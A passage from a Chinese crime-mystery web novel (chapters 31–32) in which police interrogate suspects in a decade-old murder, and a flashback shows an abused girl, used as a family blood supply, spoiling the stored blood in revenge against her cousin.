有次到了抽血的时间,张越凝不打招呼在同学家住了一个晚上,第二天没回家直接去学校了。 这让张家人很恼火,为此,她被扣在家里一个星期,不准出门,不准去上学。 要不是需要她有健康的体魄,被关小黑屋的那个星期,她可能连饭都吃不上。 在张皓月的眼里,张越凝是故意跟她作对的。 给她哥哥输血的时候张越凝从来没反抗过一次,轮到给她输血了,张越凝却总是在作妖。 为此家里集火张芷琼,埋怨她没把女儿教育好,张芷琼憋了一肚子火,只能把气撒在张越凝身上。 母女俩短暂的温情时光一去不复返。 他们怕张越凝再出意外,从一个月抽一次血,变成两个月抽三次,抽的血冷藏起来,以备不时之需。 张越凝的身体又开始变差。 家里的私人医生于心不忍,便建议采取休养生息的办法,当张家血库储存量足够时,就让张越凝休养调理身体。 为了更好地保护“血袋”,张家采纳了医生建议,每抽两个月血,就让张越凝休息一段时间。 如此四季循环。 张越凝毕竟还是个孩子,有了缓冲期,她的抵抗也渐渐弱了。 她的抵抗弱了,张皓月却以为这是自己强力欺压的结果。 没多久,大舅大舅妈外出遇到泥石流去世,张皓月提前进入叛逆期,更加想着法子“对付”张越凝。 如果不是张皓月越来越过分,张越凝估计也就这么浑浑噩噩地长大,任由自己成为别人的免费血袋而不会有任何的反抗。 站在张皓月的墓碑前,张越凝用折扇挡在额头上,以遮住太阳。 张蕤帆在张启峰夫妇墓前放下鲜花水果和蛋糕,之后拍了张照片,发到家族群里。 今天大舅张启峰生日,他们作为晚辈过来扫墓。 大舅一家四口齐齐整整葬在墓园最好的位置,子女在前,父母在后。 张越凝每年都要代替家人来两次以上,她看着张皓月的黑白照片,两人隔着时空对望,平静安详,岁月静好。 张蕤帆走过来,“当年我还帮皓月欺负你,真是愧疚。” 他考上大学之后,曾经跟张越凝真诚x道过歉,当时张越凝没搭理他。 张蕤帆感叹:“皓月病发在医院没救回来,我就想,这肯定是报应……” “时间过的真快。”张越凝感叹了一声。 “是啊,转眼十多年了。”说着,张蕤帆伸出手想要搭在她肩膀上。 结果张越凝刚好转身避开了,“撤吧。” 她收起折扇,独自走在前面。 张蕤帆看了眼差点搂到她肩膀的手,无奈笑着跟了上去。 “我等会儿要去一趟物流中心,我送你回律所。” 下山路上,张越凝接到电话,她母亲和沈青都被警方请去协助调查了。 问询室里,张芷琼手肘撑在桌上,表情多少有些不耐烦。 “我这段时间特别忙,麻烦你们有问题一次性问完。” 田海亮调查骆金水去了,今天是刘泰安亲自盘问张芷琼。 “你是死者张皓钧的姑姑,你有责任配合警方调查。我这里有证据证明,你曾经想要阻止张皓钧案的重启。原因是什么?” 张芷琼略微有些诧异,她没想到警方连这个都调查到了。 “你们怀疑我?” 刘泰安:“警方可以怀疑任何有可疑的人。张女士你不要岔开话题,请如实回答我刚才的问题。” 张芷琼在公司是上位者,她很懂得控制自己的情绪,当即冷静下来。 “皓钧走了十年,凶手已经枪毙,这段时间我父亲重病住院,我不希望案件重启,勾起老父亲的痛苦回忆,这对他的病情毫无益处。” 刘泰安:“十年前,张皓钧被杀的时候,你父亲张鸿禺也在住院,当时这么大的打击都没击垮他,我不相信,案件重启,有望找到真凶这件事会刺激到他。张女士,你这个说辞,不够有说服力。” 张芷琼瞥了刘泰安一眼,想了好一会儿的措词,才说:“我问过律师,我的律师认为,我是张皓钧去世后的最大受益者,如果案件重启,警方肯定第一个怀疑我,恰好我父亲病重后在调整遗嘱,这个阶段如果我被警方怀疑,那势必会影响他老人家的遗嘱修改方向,所以我不希望皓钧的案子现在重启。我不是反对案件重启,我只是希望时间往后延,仅此而已。我经得起你们的调查,但我是怕我父亲的时间经不起。” 刘泰安:“你认为,是谁杀害了张皓钧?” “这是你们警方要调查的,我如果知道是谁,还要你们警察干什么?” 面对张芷琼的嘲讽,刘泰安情绪很稳定:“那你知不知道,谁会对张皓钧有这么大的仇恨?” 张芷琼还是之前的想法:“赖平,我姑丈,他儿子孙子都不愿意做DNA检测,这就是心虚的表现。” 刘泰安看出来了,张芷琼似乎对张皓钧案能不能破,并没有太大的兴趣。 他换了个话题:“沈青跟你是什么关系?” 张芷琼明显又是一愣,她轻声道:“她是我女儿的助理。” “说详细点。” “就是我女儿的助理,还要怎么详细。” “你女儿的助理需要天天给你汇报工作?” 指尖轻轻在桌面挠了挠,张芷琼苦笑一声:“我跟女儿之间有些小矛盾,沈青就是中间负责传话,缓和我们母女关系的。” 刘泰安:“你的意思是,沈青跟你的私人关系很好?” “还不错。她在律所领一份工资,在我这里再领一份,我也算她半个老板。” “去年7月份,你通过沈青向一家叫安捷的公司转账25万,是因为什么?”刘泰安没问她有没有,而是直接问她原因,制造一种沈青已经如实交代的假象。 张芷琼异常冷静,她反问:“安捷是什么公司?” 搬家公司,但刘泰安没回她,“这需要你告诉我。” “我没让沈青转过账。我如果要转账,不会交待给沈青,我们公司有财务,我自己也有助理。如果是很隐秘的、不想让别人知道的账务,实话说,区区25万,我不可能让你们查出来。” 刘泰安盯着张芷琼,这个女人心思缜密,没有实实在在的证据,想从她这里找到突破口,太难了。 而另外一边,程栋梁在盘问沈青。 沈青给的答案是,安捷法人是她远房亲戚,25万是她家还给对方的借款。今年给装修公司法人转的75万,则是律所老板买二手房的部分首付款,她只是帮忙转账的。 而且这两笔款都有借据或者收据,其他相关方的证词也完全一致。 崔雄伟家属那边,他老婆一问三不知,他儿子去边境了,暂时联系不上。 跟他们之前预料的一样,沈青的说辞毫无破绽。 程栋梁没办法,只能跟木棉感叹,“最烦和律师打交道。” 所幸,骆金水那边的调查有进展。 有人透露骆金水曾经想要找人杀掉张皓钧。 木棉把结果反馈给陆从景。 陆从景最近这段时间在家写小说赶稿,已经好几天没来刑侦大队。 在家中书房写完最新稿件,把文件发给编辑后,他伸了个懒腰。 重重舒了口气后,陆从景才端起咖啡喝了口。 他在某知名杂志上连载侦探类小说,一个月要交两稿,每当交完稿,是最放松的时候。 抬头看着软木墙上的信息,目光不自觉停在张越凝的照片上。 虽然他现在已经不怀疑她了,但仍然没把她照片取下来。 如果最后证实凶手跟张芷琼无关,不知道张越凝会不会失望。 那她努力想要挣脱张芷琼控制的愿望,恐怕是没办法实现了。 手机屏幕亮起。 心灵感应似的,是张越凝给他发来信息。 【什么时候有时间?请你喝酒。】 她还记得欠他一顿酒。 现在是晚上8点多,他还没吃饭。 【今晚?】《 》 30-40 第31章第31章约好九点见面,陆从景也没换…… 约好九点见面,陆从景也没换衣服,只洗了把脸,回书房关空调的时候,他看着软木墙上的关系图,把张芷琼和张越凝的照片取下来,扣到了左下角。 他把墙上人物重新换了个位置,没有霍兵照片,只写了霍兵两个字的卡纸钉在最中间。 曾立兴杀了张皓钧,曾的上线是霍兵。 10年前,曾立兴把梁小宇夏木橙扣在天水坝值班房后,回医院做手术,那么谁杀了梁夏二人? 会不会是霍兵? 如果霍兵杀了梁小宇,囚禁夏木橙,那么夏木橙肚子里的孩子是谁的? 显然不是霍兵的,因为霍兵在看守所,警方早就比对过DNA,孩子不是他的。 那会是谁? 是谁指使霍兵买凶杀害张皓钧的?如果不是张芷琼,那会是张家仇敌骆金水吗? 木棉跟他说骆金水那边有新的线索,暂且看看新线索是什么。 手机震动,是张越凝给他打来的电话。 陆从景以为张越凝已经到了,他拿起钥匙往门口走去。 “喂。” 张越凝略微有些抱歉地说:“喂,不好意思啊,陆顾问,我要放你鸽子了。” 陆从景顿住脚步,开玩笑道:“你这电话来的及时,我刚要离开鸽笼。” 张越凝被逗笑了,“我妈发神经,非要我陪奶奶半夜去拜佛给爷爷祈福。” 她说话声音有点小。 看来她爷爷身体状况应该不太好。 “没事,你忙。” “那我们改天再约。” 挂了电话,陆从景还是按原计划出门,肚子饿了,他打算到小区外吃个快餐。 木棉回到机械厂家属院,她打开车库门,她妈妈卖凉菜的三轮车停在里面,位置有点挤,费了点力气,才刚刚好把自行车推进去。 回到家,她爸妈已经吃了饭,洗了澡。 钟静前几天推三轮车不小心扭了脚,夏至民正给她揉红花油。 “每天那么晚回来,吃饭了吗?我做了你喜欢吃的红烧肉。”她爸问。 木棉傍晚吃了个煎饼果子,本来晚上不想吃饭的,但见餐桌上给她留的饭菜,便说:“我吃过了,再吃点。” 放下背包,她进厨房装饭。 “自己微波炉热一下。”钟静提醒她,“今天青菜用猪油炒的,青菜也要热。” 木棉把红烧肉和青菜都放微波炉热好,随后大口吃起来。 她爸爸做的红烧肉是一绝,她跟姐姐打小就喜欢吃。 夏至民小声问:“前几天你们把你三婶叫去干什么?她回来的时候,我们刚好出摊,我看她脸色很憔悴。” “没什么,就是三叔意外落水死亡的事。” 钟静比较敏感,“自从你三叔出事,你三婶跟我们疏远了很多,总觉得她在避开我们。” 木棉也不能跟父母透露实情,“家里出了这么多事,她估计是心情不好。” 钟静:“她今天搬走了,你知道吧?搬走都没跟我们打声招呼。” “搬去哪儿了?” “x搬曾晖那边了吧,我听说曾晖跟他女朋友分手了。说是曾晖在酒吧跟陪酒的乱来,有人拍了视频,发给他女朋友,两人就闹掰了。曾晖这孩子真是……”钟静叹了一声,“家家都有本难念的经。” 木棉不想再聊曾立兴一家人的话题,她从背包里拿出一张《还发清单》和一张《物品领取申请表》,“我姐的手表还有警方从家里拿走的物品,可以领回来了。你们签字按手印,我改天去取。” 她把申请表递过去。 夏至民拿纸巾擦了擦手,接过申请表,“我来签。你姐那个手表坏了吧?” 木棉:“没有坏,换个表带能继续用。” 夏至民很诧异,“这质量也太好了。” 钟静:“她那个同学方芳送给她的生日礼物,你姐姐可喜欢了,天天戴着。你姐姐失踪头几年,每年暑假方芳都会打电话来问有没有你姐姐的消息。有次过年还给我们送来了东西。” 对此木棉是有印象的,她还接过方芳打来的电话。 “方芳这几年没打电话来了吗?” “去了外地读大学,毕业后估计没回临城了。” 如果木橙还活着,肯定也考上了大学,现在会有属于她自己的美好人生。 可惜,没有如果。 这是徐罡和张越凝在看守所律师会见室的第三次见面。 张越凝给他念了他妻子写给他的信。 徐罡女儿出事后,孩子姥姥受不住打击,重病住院,现在徐罡妻子一边要照顾患病的母亲,一边要为他的事奔波,非常辛苦。 【……张律师跟我说,要做好最坏的打算,但只要有希望,都不能放弃。我不会放弃的,你也不要放弃。我会照顾好我妈还有你爸妈,你不要担心,你要听张律师安排,照顾好自己,茵茵在天上看着我们呢。】 徐罡的妻子以前是全职太太,徐罡是家里唯一的经济支柱,现如今徐罡进来了,家里没有了经济来源,坐吃山空…… 张越凝想办法帮他太太谋了一份时间相对比较自由的工作。 徐罡很感激:“谢谢你,张律师。” “不客气。网上也有很多人想帮你,很多人支持你。” “你上次说要做精神鉴定,什么时候鉴定?” “现在还不到时候,再等等。” 再等等,不着急。 从看守所出来,张越凝驱车穿过老城区,在新华书店路口等红绿灯。 这么多年过去了,临城街景日新月异,只有新华书店十年如一日,还是老样子。 犹记得那年她和刘晋伏第一次相约在新华书店买书,不巧遇上倾盆大雨,两人躲在书店最里面的角落,看了一下午闲书,饿了就吃刘晋伏背包里的食物,他背包总是装满各种她爱吃的零食。 刘晋伏撕开牛肉干微笑着投喂给她,薄薄的牛肉干能嚼出奶香味,张越凝吃了一大块,她把自己尚未看完的杂志递到他面前,“你看这个人像不像老罗?” 老罗是他们班主任。 刘晋伏凑前来,也笑:“是像,胖一点更像。” 十多年就这么过去了,张越凝隔着玻璃回望,仿佛能看到当年的他们。 这么近,又那么远。 一大清早,天刚蒙蒙亮,田海亮和小董就来到了水产市场。 他们根据其他人提供的信息,找到了卖鱼的分区。 市场里熙熙攘攘,买鱼的贩鱼的都多。 小董找到一家客人比较少的档口,问卖鱼贩:“借问一声,刘彪是哪个档口?” 那商贩往后一指:“那边。” “哪边?” 卖鱼佬不耐烦地转身往右前方一指:“光头那个,看到没?” 田海亮眼尖,他不止看到了,他还发现,光头刘彪也刚好往他们这边看过来。 下一瞬,刘彪丢下手里刚抓起的黑鱼,慌不择路,扭头就跑! 田海亮反应也快,他一支箭似的飞了出去。 路上人挤人的,幸好他们都足够灵活,才不至于撞别人身上。 追了两条街,刘彪往一条小巷子逃去,田海亮和小董兵分两路,前后包抄,最后把刘彪堵在小巷子里。 “警察!放下武器,双手抱头,靠墙不许动!” 手里还抄着杀鱼刀的刘彪听见对方是警察,忙丢下刀,他举起手趴在墙上。 “警察同志,你们是不是抓错人了?” 离得比较近的小董一把将人扣住,“是不是刘彪?” “我是刘彪。” 小董:“你为什么看见警察就跑?” “我不知道你们是警察,你们又没穿警服,我以为是追债的,我在外面欠了点钱。” 刘彪穿着防水围裙,身上一股鱼腥味。 这人以前跟骆金水混,算是个小头目,后来出事坐了5年牢,前年才放出来。 田海亮示意小董放了他。 “我们找你问些事。” 刘彪看了他们一眼,“你们真是警察?” 田海亮再次出示证件,“看清楚了。” 确认对方真是警察,刘彪才放松了。 “你出狱后,去找过骆金水吗?”田海亮询问,小董掏出本子和笔,快速做笔录。 “没有,他现在是大老板了,跟我们不一样。我高攀不上。”说完,刘彪好奇警察怎么突然来找他问骆金水,不由反问:“他出事了?” 田海亮没回答,继续问:“有人跟我们反映,十多年前,你跟人说,骆金水想要找人杀张鸿禺家人,是不是?” 刘彪:“我不知道啊,我也是听大伟哥说的。” 田海亮:“什么大伟哥?” “王大伟,在临城监狱坐牢还没出来呢。我也是听他说的。他当时是骆金水的左右手。” “他怎么跟你说的?” 刘彪从衣兜里掏出一包红塔山,他给田海亮和刘彪递烟。 “谢谢,我们不抽烟。” 刘彪只能自己抽上了一根,然后才说:“大伟哥跟我说,骆金水为了给他原来的老婆孩子报仇,想要做掉张鸿禺的孙子,他让王大伟找了缅甸那边的杀手,杀手都找好了,结果骆金水临时改变主意,不杀了。” “什么原因临阵变卦?” “据说是他现在的婆娘知道后跟他大闹,他婆娘不想再过担惊受怕的日子,还说张鸿禺是大人物,得罪这种人,以后都不会有好日子过。当时我们都不理解,自己老婆孩子枉死了……”刘彪马上意识到,站他对面的是警察,他忙笑着转圜,“但现在回头想,放弃是对的,做人还是要向前看是不是?不能做犯法的事。” “骆金水彻底放弃了?” “当时是放弃了。” “哪一年?” 刘彪想了想:“1998年左右吧,后来张鸿禺家儿子儿媳死了,再后来他孙女也病死了,我听说骆金水得知张鸿禺死了儿子儿媳的时候,还偷偷请兄弟们吃饭庆祝,他可能把这种报应当做报仇了吧。” 田海亮又问了几个问题,等问完了,小董把笔录递过去给刘彪,“你看看有没有问题,没问题签字。” 刘彪快速浏览一遍,签名的时候小声问:“警察同志,是不是骆金水出事了?” “没出事,不过循例调查。” 从水产市场出来,他们在附近的米线店吃了早餐,到了上班点,刚好去申请提审王大伟,同时传唤骆金水。 王大伟口供跟刘彪的基本一致。 骆金水一开始坚决否认曾经想杀张鸿禺家人,后来也不得不承认确实是有过这种念头。 “我没行动啊,没行动我不犯法吧?你们不会认为张鸿禺儿子儿媳是我杀的吧?他们是被泥石流给埋死的,这是天谴!我可指挥不动泥石流。” 这点警方详细查过,张启峰夫妇出事当天临城地区下大暴雨,张启峰原计划要陪张鸿禺去弘山寺拜佛,因下雨取消后,张启峰和妻子改道去东坪那边的工厂视察,途中遇见泥石流,纯属意外,不可能是他杀。 田海亮:“你是没杀他儿子儿媳,但你杀他孙子了。你让霍兵去杀的。” “霍兵?”骆金水不承认,“霍兵这几年确实是在我们公司上班,但他以前是经营生鲜外贸的,我要杀人也不会找他呀。用现在的话说,专业不对口。我找缅甸人不好吗?直接一枪杀了,一干二净,一了百了。” 田海亮瞪着他:“以前没少干这种事吧?” 骆金水狡猾一笑:“我倒是想啊,脑子想干,现实不允许。我只想做个干干净净遵纪守法的商人。” 陆从景只在监控室盯了一会儿就没继续看,他让木棉把这段时间所有涉案笔录调出来查阅。 看完所有笔录,最后他又翻回戴丽华的部分重看。 就在这时,刘阳进来找刘泰安。 刘泰安不在,他便跟陆从景说:“技术中心那边发现新线索。” 木棉给他拉来一张凳子,刘阳坐下说:“他们查了机械厂家x属院附近基站最近半年的信号记录,发现两个没有实名的电话号码长期在家属院出现。其中一个尾号0553的号码,信号在7月25日离开了家属院,当天晚上另外一个尾号8419的未实名号码从机械厂家属院给0553打了一个电话,29号早上5点多,0553从此没了信号。” 陆从景瞬间明白了,“之后8419有动静吗?” “有,这段时间8419给一个也没实名登记的电话号码7558打了四五次电话。然后从前天开始,8419离开家属院,去了乐豪大厦后就一直没回来。” 陆从景判断:“失踪的0553是曾立兴的备用号码,给他打电话以及搬去乐豪大厦的8419是戴丽华的。” 刘阳吃惊:“你都猜出来了?我还想给你们惊喜呢。” 木棉:“戴丽华确实搬去乐豪大厦了。” 刘阳:“是的,戴丽华一直在撒谎,她老公曾立兴肯定告诉她真相了。现在她老公死了,她估计在跟对方纠缠,至少要经济赔偿吧?” 陆从景问:“戴丽华现在联系的7558查出来是谁了吗?” “还没有。7558的信号大部分时间都出现在通河片区,那一片住的人比较杂,需要点时间进行排查。” 第32章第32章月光从窗户照进来,照不到她…… 月光从窗户照进来,照不到她的床上。 张越凝躺在冷冰冰的血里,她脑子里只有一个想法,就算搭上自己,她也要张皓月死。 这个想法她早就有,只是从来没有像这一刻那么强烈。 等周围都彻底安静了,她才艰难动了动。 痛,稍微一动,下身就撕裂般痛的她发抖。 她爬起来,扶着书桌缓了好一会儿,才找出止疼片吃了一粒,之后再慢慢收拾好自己,换上干净衣服。 捡起地上刚刚羞辱她的乒乓球拍,她擦干净血,装进塑料袋里。 然后把地上的玻璃渣清扫干净。 她坐在椅子上,静静等待着,现在是半夜一点,还不够晚。 家里还有人没睡。 等到两点,张越凝带上手套,打开房间门…… 楼梯口亮着昏黄的灯光,她顺着楼梯从三楼下了一楼。 一楼杂物间里有两个配电箱,其中一个配电箱上了锁。 她摸出早就配好的钥匙,打开上了锁的配电箱盖子,把第三个和第四个电闸拉了下来。 拉了电闸,她回到三楼,走廊尽头是家庭医生的办公室。 医生半个月来一趟,她算过时间,他三天后会来给张皓月输血。 这间办公室有两重锁,一重密码锁,一重机械锁。 她前段时间偷偷配了机械锁的钥匙,但一直没办法获取密码锁的密码,所以干脆把密码锁的电断了,让密码锁暂时失效。 用钥匙拧开机械锁,张越凝轻轻推开房门。 办公室不大,门口有一个监控摄像头,她警惕地抬头看了眼,没有亮灯,她刚才把摄像头的电也断了。 这个年代的摄像头,一旦断电就没办法运行。 房间最角落有一个医用冰柜。 她走到冰柜后面,蹲下后,用力把冰柜插座往后拉开,完全拉开后,又插回去一点点,依然是断电的状态。 看上去就像是插座没插好,松了。 她打开冰柜门,冷藏室和冷冻库除了一些药物之外,其余存放的都是她的血,有全血,有提取的成分血。 医用冰柜有自带的蓄电池,她查过,断开电源后,蓄电池只能运转5个小时,只要家庭医生没有提前来,就能一切顺利。 张越凝转身离开了办公室,锁上门,轻手蹑脚往楼下走。 结果刚转过弯,就听见背后有声音传来:“越凝。” 心提到了嗓子眼,张越凝回头看见秦姨就站在身后。 秦姨手里拿着一个保温杯,她应该是半夜被张皓月打电话叫醒,特意送温水上来。 “你那么晚怎么还没睡觉?”秦姨问她。 张越凝努力压抑着紧张的情绪,“我饿了,想下去找点吃的。” “你想吃啥子,我帮你弄。” “不用了,我下楼看看冰箱里有没有面包。” 秦姨似乎没怀疑:“有面包。我先送水给皓月,她不舒服,你等我下去给你烤一下,直接吃太凉咯,你可不能吃坏了肚子。” 张越凝应了一声,她快速下楼,赶在秦姨下来之前,把电闸推回去。 第二天,可能因为身体有炎症,她发烧了。 这次发烧倒是意料之外的收获,本来她准备晚一天要好好生场病的,提早了也有提早的好处。 她没吃退烧药,也没吃消炎药,饭不好好吃,晚上洗澡更是洗的冷水。 本来月经期间身体就弱,被她自己这么一折腾,高烧直接烧到四十度,被秦姨发现后,急匆匆送进了医院。 住院期间,她也是想着法子不吃药,身体稍微恢复,她又去洗冷水澡,导致病情反反复复,一直都好不了。 医生说是体质太弱了。 这让张家那些吸血鬼,多少有些愧疚,以为张越凝是长期被抽血,导致体质太差,才会简单的感冒都扛不住。 愧疚也只是一时的情绪,感冒发烧再怎么样,好好治疗调养,十天半个月总能治好。 他们并不担心,毕竟家中冰箱有足够的存血。 直到私人医生来到张家,打开办公室的冰箱后,闻到了淡淡的臭味。 冰箱里的血已然变质,完全不能用了。 松了的插座承担了“罪责”,私人医生被解雇。 此时张越凝不知道什么时候才可以出院,就算能出院,她刚生完病的血也不能马上用。 张皓月有F型骨髓增生综合征,造血功能存在严重缺陷,长期贫血,只能一直做支持治疗,每个月输血。 如果不能及时输血,病情就会马上恶化。 而张皓月是非常罕见的熊猫血,此血型遗传自她父亲和祖母。 双胞胎哥哥张皓钧虽有同样的稀有血型,但他刚痊愈,抽血是有很大风险的,张鸿禺不愿意为了救孙女,而让孙子冒险。 张家花钱找人脉也没找到其他同血型血源,只能从省里请来专家团队,准备化疗方案。 张皓月生日那天晚上,她欺辱张越凝时不小心被玻璃划伤出血,由于她没敢跟家人说,导致伤口处理不当而感染,她也开始发烧。 高烧期间化疗是很危险的,但时间不等人,张鸿禺再三权衡,最后不得不选择让孙女马上住院做化疗。 所幸,第一期效果好像还不错。 两个女孩住同一家医院,在不同楼层。 某天晚上,张越凝迷迷糊糊睁开眼,发现床前站着个影子。 是张皓月。 瓷娃娃脸色蜡白,她睥睨着张越凝。 “你死了?”指甲掐了掐自己的手背,张越凝不太确定自己是不是在做梦,也不确定眼前的是人还是鬼魂。 张皓月瞪大了眼:“你才死了!” 半坐起来的张越凝,看着病得不轻的张皓月,不由得嘴角弯起:“离了我,滋味好受吗?” 不好受。 张皓月忽然把脸怼上来,“等我把病治好了,你就再也没有价值,到时候,我就让爷爷把你赶出去。” “是我离不开你们家吗?是你们离不开我。吸血鬼!” 张皓月最恨别人说她吸血鬼,身旁没有帮手,她也不敢轻举妄动,只能言语要挟:“等回到家,看我弄不死你!” 此刻的张越凝,内心非常平静,她盯着张皓月那毫无血色的嘴唇,幽幽道:“你能活到那个时候再说吧。” 张皓月比张皓钧发病晚,但病情比张皓钧的要严重。 早在很久之前张越凝就听私人医生提起过,张皓月这种病如果在严重贫血的情况下去做化疗,凶多吉少,生存几率非常低。 这也是张越凝为什么要拼死一搏的原因。 没有她这个血袋及时给张皓月输血,张皓月会马上陷入严重贫血的病态。 加上张皓月自己也高烧,自愈能力极差,在这种状态下化疗,那就是雪上加霜。 “你活不了多久了。” 张皓月愤然:“我哥都能治好,我也能。我还要过十五岁生日,十六岁生日……” “你不能。” 张皓月气得想扑过来,但张越凝已经伸手按下呼叫铃。 在护士来之前,张皓月不得不偷偷溜走了。 一个星期后张越凝出院。 而张皓月病情急剧恶化,死于40天后。 为了不让外界知道戴丽华被捕的消息,便衣警察半夜到乐豪大厦带走了她。 戴丽华依然是满脸的无辜,表示自己什么都不知道。 在审讯室里,程栋梁一条一条跟她摆证据。 “这是在乐豪大厦你儿子家搜到的手机,从你的个人物品中搜到的,x你儿子说是你的。没错吧?” 被警察大半夜逮带进来,还穿着睡衣的戴丽华很是惶恐,她摇头否认:“这手机是老曾的,曾立兴的。” 程栋梁低头看了眼资料:“7月29日,8月7日,8月8日,8月10日……这个手机上的电话号码都有对外拨打电话的通讯记录,请问死了的曾立兴怎么给别人打电话?” 戴丽华解释:“手机和电话号码都是曾立兴留在家里的,他告诉我如果他出事,用这个号码跟豹哥联系。” 新人物出现了。 程栋梁忙问:“豹哥是谁?” “我不知道豹哥的名字。我不认识他,也没见过他。” “他住哪里?” “不知道。” “都不知道……那曾立兴怎么跟豹哥认识的?” “老曾没跟我说。太匆忙了,老曾什么都没跟我说清楚。” 整个一问三不知。 程栋梁很恼火:“那你知道什么?” 戴丽华最近可能没睡好,整个人都很颓靡,没什么精神。 “老曾死后,我给豹哥打了几次电话,我质问他是不是他杀了老曾。他不承认,也不愿意赔钱。我一点办法都没有。” 程栋梁:“你跟豹哥是怎么沟通的?豹哥在电话里都跟你说了什么?越详细越好。” 戴丽华回想:“我打电话给豹哥,我说我是曾立兴的老婆,他很不耐烦,问我有什么事。我说曾立兴死了,问他知不知道。他没说知不知道,只说了句节哀顺变。我就问他,老曾是不是他杀的。他反问我,他为什么要杀老曾。他和老曾只是打麻将认识的普通朋友。” 用未实名电话专门联络的人只是牌友?显然不可能。 程栋梁观察着戴丽华脸上表情的细微变化:“你相信了?” 戴丽华嘴角一扯,她也不是傻子:“我不相信啊,如果只是打麻将认识的朋友,为什么老曾要告诉我,万一他出事,让我联系他?但豹哥只承认打麻将欠了老曾七千块钱,老曾让我找他肯定是为了他欠的赌债。他叫我把地址告诉他,他找人把钱送来。我哪里敢把地址给他,我害怕他真找上门来,吓得当天就搬到儿子家了。” “这是哪天的事?” “三天前。” “之后你们还有联系吗?” “没联系了。” 程栋梁:“曾立兴失踪当天,也就是7月25日晚上,你给曾立兴另外一个尾号为0553的号码打了个电话……” 戴丽华纠正:“他给我打的。” “他跟你说什么了?” “报了平安,他说第二天一早出发去缅甸。我问他够不够钱,他说他取了一万现金,暂时够用。他银行里的钱,他让我不要动,他随时可能要用。所以我一直没敢动他卡里的钱。没想到,那就是最后一次跟他通电话了。” 程栋梁:“他没跟你交待其他事?” “我问了。他说等太平了,再跟我细说。如果我联系不上他,他让我联系豹哥。” 戴丽华见程栋梁神色缓和后,小声道:“不管老曾干了什么错事,就算他要被枪毙,那也是国家枪毙他对不对?现在是别人把他杀了!我们也是受害者呀。” 见戴丽华装可怜,程栋梁来气了,“你们是受害者?那死掉的张皓钧、梁小宇、夏木橙、许忠算什么?他们才是受害者!” 程栋梁轻轻敲着桌面,“你们是加害者。” 戴丽华带着哭腔诉苦:“那是老曾的错,我也是无辜的。我们一家好好的生活,就这么被毁了。我儿子也被毁了!” “都是曾立兴的错,你没错?” “我……我有错,我就错在太糊涂,到现在都没搞清楚怎么回事。”戴丽华挠着发痒的头皮,心情很烦躁。 程栋梁:“戴丽华你要不要看看你自己的所有口供,从许忠案开始,被我们戳破一个谎言,你就接着继续编下一个谎。你在不断地否定自己之前的证词。” “我知道,我作伪供,我有罪,但是……我这也算是人之常情啊。” 自私,自保,都是人之常情。 这种人程栋梁见得多了。 “你是什么时候知道曾立兴是杀人犯的?还是说,你跟他从一开始就是共犯?!” “我跟他不是共犯!”戴丽华连连摆手,狼来了喊太多,警察不相信她了。 “从你们家养鹦鹉想要陷害贾伟东开始,没有你的配合,曾立兴根本没办法一个人实施他的计划。为了让鹦鹉足够闹腾,你们故意不给鹦鹉喂食,你们家长期就你和曾立兴在家,你在家的时长比曾立兴还多,只有他不喂食是不行的,还得你配合也不给鹦鹉喂食才能把那只鹦鹉饿的那么瘦那么闹腾。” 戴丽华辩解道:“不是,那鹦鹉是老曾拿回来的,我不想养,还跟他吵了一架,后面他就不让我管鹦鹉的事,我当然不会去喂。” 程栋梁:“那贾伟东把鹦鹉打死了,你应该很高兴才对,你怎么还故意把事情闹大了?” “我就是想让他赔钱。” “想让他赔钱,起码要先沟通吧?不沟通怎么赔钱?你不是!你第一时间报警,故意把事情闹大,让警察上门把贾伟东抓走。你也不是喜欢多事,喜欢报警的人,以前你儿子被人打,你都没报警,一只鹦鹉而已,不跟邻居沟通就报警了?” 戴丽华继续辩解:“老曾兄弟三个跟贾伟东关系都不好,好不容易抓到他小辫子,我当然要报警。” “兄弟三人?把人家儿女都杀了,还在这里跟我们显摆你们兄弟一条心?” “又不是我杀的,就算是老曾杀的,也跟我没关系!警察同志,你不能这么冤枉我呀。” 程栋梁:“冤枉你?是谁去偷梁小宇的泳衣,不就是你吗?” “偷什么泳衣?” “曾立兴杀害张皓钧后,在路上遇到梁小宇和夏木橙,曾立兴怕事情败露,就把他们哄骗到天水坝值班房绑了起来,之后曾立兴去住院做手术。接下来是你配合霍兵杀了梁小宇,期间你找机会去梁国邦家偷来梁小宇的泳衣穿在梁小宇身上,对不对?!” 见眼前的女警说得如此铿锵有力,戴丽华惊得整个人都抖了一下,“不是我!” 她哭起来:“我没有配合霍兵杀梁小宇,我也没偷泳衣。” “有没有可能,有人交待了,是你偷的!”程栋梁给她来了个暗示。 戴丽华立刻领会了程栋梁的暗示,她激动反驳:“霍兵啊?不可能!他胡说八道!他就不是个好东西,要不是他,老曾也不会走上这条歪路。” “真不是我!如果是我,我天打雷劈不得好死!”戴丽华举手发誓。 程栋梁翻阅戴丽华之前的笔录,“你不承认没关系,我有的是时间跟你慢慢熬。直到你说实话为止。我看你之前的笔录,没有什么事情是你一开始就老老实实交待的。你这人,满嘴谎言。” 戴丽华捂着半边脸,哭诉道:“我不说实话也是为了自保!谁想卷入这些破事啊!我真没偷小宇的泳衣,如果我知道他们绑了小宇和木橙,我肯定会想办法说服老曾放人的。我们不会走到今天这一步。就是许忠被害之后,我才开始怀疑老曾。至于养鹦鹉迫害贾伟东,老曾一开始确实跟我说了,他想整贾伟东。” 挤牙膏似的,戴丽华又挤出来一点。 程栋梁放缓了语速:“曾立兴怎么跟你说的?” “上个月初,我、贾伟东还有夏木棉,在木棉爸妈的凉菜摊闲聊,贾伟东说像木棉那样的女孩在刑侦大队会拖后腿之类的,说话特别难听,我就讽刺了他几句,说他才是拖后腿吃软饭的人。贾伟东这个人特别小气,第二天早上,我们家门口就多了一摊尿。肯定是贾伟东那个狗东西报复我故意撒的。我没证据,只能在门口骂。老曾也很生气,他知道贾伟东家里有猎枪,而且他这人有点神经衰弱,他就买了只鹦鹉,故意不给鹦鹉吃饱,吵得贾伟东受不了,拿枪把鹦鹉崩了。我第一时间报警,就是想警察把他抓了。我当时就是想要报复贾伟东,没有其他的意思。至于老曾有没有其他想法,我还真有点摸不准了。做了一辈子夫妻,临老才发现,十件事他有八件瞒着你。” 戴丽华说完,有些委屈地问:“能给我一杯水吗?” “要什么水?” “凉白开就行。” 没多久,有人拿了一瓶矿泉水进来递给她。 戴丽华喝完半瓶水,问:“我知道的都说了,警察同志,我就算做了伪证,也不用关起来吧?” 程栋梁:“你暂时不能回家。” 